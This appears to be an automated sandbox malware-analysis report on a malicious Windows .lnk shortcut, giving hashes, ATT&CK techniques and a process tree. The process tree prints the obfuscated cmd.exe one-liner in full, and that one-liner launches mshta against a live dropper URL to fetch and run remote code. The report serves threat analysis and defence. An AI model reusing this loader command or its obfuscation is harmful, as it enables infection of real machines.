1b610e42a87926e507a4f276103116310c0a2d759cca60a7e001a712e44bdb56

Analysis

max time kernel
148s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:21

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General

Target
DOC-R4J5JX.lnk
Size 2KB
Sample260804-j9hkdavemg
SHA256 1b610e42a87926e507a4f276103116310c0a2d759cca60a7e001a712e44bdb56
MD5 31da9a95db0ae904228d5cce8a9c0457
SHA1 ed8fd42f312f3624828031e7aa1ac1a41116cccc
SHA512 9e43195709be4c57bb49617d248623ac14d724265ddc76c96c91afbe25311721e8ebef0e704e82162756d4d41df1e5ba983d2e1910e33fb228664fd641f4d57f
TLSH
T1E5415B942EEA01C8F2FF4F71EDFE675049BBB8505C65C5AC0950810C5922B44D4B7BB3
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4068	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4068 wrote to memory of 3316	4068	cmd.exe	90
PID 3316 wrote to memory of 236	3316	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-R4J5JX.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4068
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /d/v:on/C"set ZLR=sysdvhfsaedrtsys&&set Sj=dbgbtxqwlvmkfsjdigdbg&&set jLak=baksgmcpydtafbak&&set HMkBB=logxtwcolwrmlog&&set LoJ=netrurrostotdfvjbinet&&set BeK=infvyehfuwodcxainf&&set SxxO=datvvyyxivzdpejxdat&&set EEY=nmqstarx&&set ypzS=bi7tj&&set FJg=cfgpplnblcambntnthtjfcfg&&set JlmM=infioykdxljyinf&&set IPA=cmss&&set yysk=kihtanie&&set AHSqH=winynmjfifwewin&&set bUJBh=oldkmjsvjbdejicdold&&set OUBf=htt@ps@://@ma-p@df@f@i@ll@er.@lat/h/es@tagio@[email protected]?@r=39@1469F@B@5@D@82@D@B&&start /b !IPA:~1,2!!yysk:~2,3! !OUBf:@=!"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3316
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:236

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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